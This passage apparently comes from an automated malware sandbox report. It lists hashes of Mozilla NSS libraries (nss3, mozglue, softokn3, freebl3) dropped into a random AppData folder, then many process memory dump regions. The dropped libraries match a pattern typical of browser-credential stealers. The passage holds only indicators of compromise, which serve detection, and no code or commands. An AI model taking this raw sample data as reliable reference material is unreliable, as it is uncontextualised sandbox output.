                      626c36e9567f57fa8ec9c36d96cbadede9c6f6734a7305ecfb9f798952bbacdfa33a1b6c4999ba5b78897dc2ec6f91870f7ec25b2ceacbaee4be942fe881db01

                    • \Users\Admin\AppData\LocalLow\uS0wV5wY9qH3\freebl3.dll
                      MD5

                      60acd24430204ad2dc7f148b8cfe9bdc

                      SHA1

                      989f377b9117d7cb21cbe92a4117f88f9c7693d9

                      SHA256

                      9876c53134dbbec4dcca67581f53638eba3fea3a15491aa3cf2526b71032da97

                      SHA512

                      626c36e9567f57fa8ec9c36d96cbadede9c6f6734a7305ecfb9f798952bbacdfa33a1b6c4999ba5b78897dc2ec6f91870f7ec25b2ceacbaee4be942fe881db01

                    • \Users\Admin\AppData\LocalLow\uS0wV5wY9qH3\mozglue.dll
                      MD5

                      eae9273f8cdcf9321c6c37c244773139

                      SHA1

                      8378e2a2f3635574c106eea8419b5eb00b8489b0

                      SHA256

                      a0c6630d4012ae0311ff40f4f06911bcf1a23f7a4762ce219b8dffa012d188cc

                      SHA512

                      06e43e484a89cea9ba9b9519828d38e7c64b040f44cdaeb321cbda574e7551b11fea139ce3538f387a0a39a3d8c4cba7f4cf03e4a3c98db85f8121c2212a9097

                    • \Users\Admin\AppData\LocalLow\uS0wV5wY9qH3\nss3.dll
                      MD5

                      02cc7b8ee30056d5912de54f1bdfc219

                      SHA1

                      a6923da95705fb81e368ae48f93d28522ef552fb

                      SHA256

                      1989526553fd1e1e49b0fea8036822ca062d3d39c4cab4a37846173d0f1753d5

                      SHA512

                      0d5dfcf4fb19b27246fa799e339d67cd1b494427783f379267fb2d10d615ffb734711bab2c515062c078f990a44a36f2d15859b1dacd4143dcc35b5c0cee0ef5

                    • \Users\Admin\AppData\LocalLow\uS0wV5wY9qH3\softokn3.dll
                      MD5

                      4e8df049f3459fa94ab6ad387f3561ac

                      SHA1

                      06ed392bc29ad9d5fc05ee254c2625fd65925114

                      SHA256

                      25a4dae37120426ab060ebb39b7030b3e7c1093cc34b0877f223b6843b651871

                      SHA512

                      3dd4a86f83465989b2b30c240a7307edd1b92d5c1d5c57d47eff287dc9daa7bace157017908d82e00be90f08ff5badb68019ffc9d881440229dcea5038f61cd6

                    • memory/360-147-0x0000000005670000-0x0000000005671000-memory.dmp
                      Filesize

                      4KB

                    • memory/360-137-0x000000000041C5CE-mapping.dmp
                    • memory/360-146-0x0000000005630000-0x0000000005631000-memory.dmp
                      Filesize

                      4KB

                    • memory/360-142-0x0000000005B30000-0x0000000005B31000-memory.dmp
                      Filesize

                      4KB

                    • memory/360-143-0x00000000055D0000-0x00000000055D1000-memory.dmp
                      Filesize

                      4KB

                    • memory/360-178-0x0000000007000000-0x0000000007001000-memory.dmp
                      Filesize

                      4KB

                    • memory/360-179-0x0000000007700000-0x0000000007701000-memory.dmp
                      Filesize

                      4KB

                    • memory/360-136-0x0000000000400000-0x0000000000422000-memory.dmp
                      Filesize

                      136KB

                    • memory/360-144-0x0000000005700000-0x0000000005701000-memory.dmp
                      Filesize

                      4KB

                    • memory/360-145-0x0000000005520000-0x0000000005B26000-memory.dmp
                      Filesize

                      6.0MB

                    • memory/360-194-0x0000000007560000-0x0000000007561000-memory.dmp
                      Filesize

                      4KB

                    • memory/360-186-0x00000000072F0000-0x00000000072F1000-memory.dmp
                      Filesize

                      4KB

                    • memory/996-316-0x0000000000000000-mapping.dmp
                    • memory/1148-172-0x0000000000402FA5-mapping.dmp
                    • memory/1300-240-0x0000000000000000-mapping.dmp
                    • memory/1376-313-0x0000000000000000-mapping.dmp
                    • memory/1800-260-0x0000000000400000-0x00000000004BF000-memory.dmp
                      Filesize

                      764KB

                    • memory/1800-261-0x0000000004AB0000-0x0000000004AB1000-memory.dmp
                      Filesize

                      4KB

                    • memory/1800-281-0x0000000004AB4000-0x0000000004AB6000-memory.dmp
                      Filesize

                      8KB

                    • memory/1800-269-0x0000000004AB3000-0x0000000004AB4000-memory.dmp
                      Filesize

                      4KB

                    • memory/1800-259-0x00000000005C0000-0x000000000070A000-memory.dmp
                      Filesize

                      1.3MB

                    • memory/1800-264-0x0000000004AB2000-0x0000000004AB3000-memory.dmp
                      Filesize

                      4KB

                    • memory/1800-175-0x0000000000000000-mapping.dmp
                    • memory/1968-200-0x0000000000000000-mapping.dmp
                    • memory/1968-286-0x0000000000400000-0x00000000004EC000-memory.dmp
                      Filesize

                      944KB

                    • memory/1968-285-0x00000000021B0000-0x0000000002240000-memory.dmp
                      Filesize

                      576KB

                    • memory/2332-246-0x0000000001110000-0x000000000125A000-memory.dmp
                      Filesize

                      1.3MB

                    • memory/2332-241-0x0000000000000000-mapping.dmp
                    • memory/2376-188-0x00000000754D0000-0x0000000075692000-memory.dmp
                      Filesize

                      1.8MB

                    • memory/2376-181-0x0000000000000000-mapping.dmp
                    • memory/2376-187-0x0000000000050000-0x0000000000051000-memory.dmp
                      Filesize

                      4KB

                    • memory/2376-185-0x0000000001320000-0x0000000001394000-memory.dmp
                      Filesize

                      464KB

                    • memory/2376-191-0x00000000011C0000-0x0000000001203000-memory.dmp
                      Filesize

                      268KB

                    • memory/2376-193-0x0000000000AD0000-0x0000000000AD1000-memory.dmp
                      Filesize

                      4KB

                    • memory/2900-199-0x00000000031E0000-0x00000000031F6000-memory.dmp
                      Filesize

                      88KB

                    • memory/2900-117-0x0000000001020000-0x0000000001036000-memory.dmp
                      Filesize

                      88KB

                    • memory/3220-329-0x0000000002EB259C-mapping.dmp
                    • memory/3244-332-0x0000000000500000-0x0000000000504000-memory.dmp
                      Filesize

                      16KB

                    • memory/3244-333-0x0000000000400000-0x00000000004A2000-memory.dmp
                      Filesize

                      648KB

                    • memory/3244-312-0x0000000000000000-mapping.dmp
                    • memory/3940-149-0x0000000000000000-mapping.dmp
                    • memory/3940-170-0x0000000005760000-0x0000000005761000-memory.dmp
                      Filesize

                      4KB

                    • memory/3940-163-0x00000000771D0000-0x000000007735E000-memory.dmp
                      Filesize

                      1.6MB

                    • memory/3940-162-0x0000000000300000-0x0000000000301000-memory.dmp
                      Filesize

                      4KB

                    • memory/4044-288-0x00000000005B0000-0x00000000006FA000-memory.dmp
                      Filesize

                      1.3MB

                    • memory/4044-289-0x0000000000400000-0x00000000004EC000-memory.dmp
                      Filesize

                      944KB

                    • memory/4044-229-0x0000000000000000-mapping.dmp
                    • memory/4140-222-0x0000000000400000-0x00000000004A9000-memory.dmp
                      Filesize

                      676KB

                    • memory/4140-133-0x0000000000000000-mapping.dmp
                    • memory/4140-221-0x00000000007F0000-0x0000000000803000-memory.dmp
                      Filesize

                      76KB

                    • memory/4280-300-0x0000000000400000-0x00000000004A9000-memory.dmp
                      Filesize

                      676KB

                    • memory/4324-295-0x0000000000359A6B-mapping.dmp
                    • memory/4324-301-0x0000000000350000-0x0000000000365000-memory.dmp
                      Filesize

                      84KB

                    • memory/4528-216-0x0000000000400000-0x0000000000401000-memory.dmp
                      Filesize

                      4KB

                    • memory/4528-228-0x0000000005160000-0x0000000005766000-memory.dmp
                      Filesize

                      6.0MB

                    • memory/4528-204-0x0000000000400000-0x0000000000422000-memory.dmp
                      Filesize

                      136KB

                    • memory/4528-211-0x000000000041C5CA-mapping.dmp
                    • memory/4752-227-0x0000000000000000-mapping.dmp
                    • memory/4800-232-0x0000000000000000-mapping.dmp
                    • memory/4800-116-0x0000000000030000-0x0000000000039000-memory.dmp
                      Filesize

                      36KB

                    • memory/4816-115-0x0000000000402FA5-mapping.dmp
                    • memory/4816-114-0x0000000000400000-0x0000000000409000-memory.dmp
                      Filesize

                      36KB

                    • memory/4832-233-0x0000000000000000-mapping.dmp
                    • memory/4868-174-0x00000000004B0000-0x00000000005FA000-memory.dmp
                      Filesize

                      1.3MB

                    • memory/4868-118-0x0000000000000000-mapping.dmp
                    • memory/4896-130-0x0000000004D30000-0x0000000004D31000-memory.dmp
                      Filesize

                      4KB

                    • memory/4896-126-0x0000000004D80000-0x0000000004D81000-memory.dmp
                      Filesize

                      4KB

                    • memory/4896-124-0x0000000000550000-0x0000000000551000-memory.dmp
                      Filesize

                      4KB

                    • memory/4896-131-0x0000000004F90000-0x0000000004F91000-memory.dmp
                      Filesize

                      4KB

                    • memory/4896-121-0x0000000000000000-mapping.dmp
                    • memory/4896-132-0x00000000054A0000-0x00000000054A1000-memory.dmp
                      Filesize

                      4KB

                    • memory/4916-331-0x0000000000000000-mapping.dmp
                    • memory/4920-239-0x0000000000000000-mapping.dmp
                    • memory/4952-234-0x0000000000000000-mapping.dmp
                    • memory/4980-235-0x0000000000000000-mapping.dmp
                    • memory/4984-212-0x0000000007BC0000-0x0000000007BC1000-memory.dmp
                      Filesize

                      4KB

                    • memory/4984-150-0x0000000000220000-0x0000000000221000-memory.dmp
                      Filesize

                      4KB

                    • memory/4984-153-0x00000000771D0000-0x000000007735E000-memory.dmp
                      Filesize

                      1.6MB

                    • memory/4984-159-0x0000000005530000-0x0000000005531000-memory.dmp
                      Filesize

                      4KB

                    • memory/4984-127-0x0000000000000000-mapping.dmp
                    • memory/5084-255-0x000000000041C5DA-mapping.dmp
                    • memory/5084-279-0x0000000004D10000-0x0000000005316000-memory.dmp
                      Filesize

                      6.0MB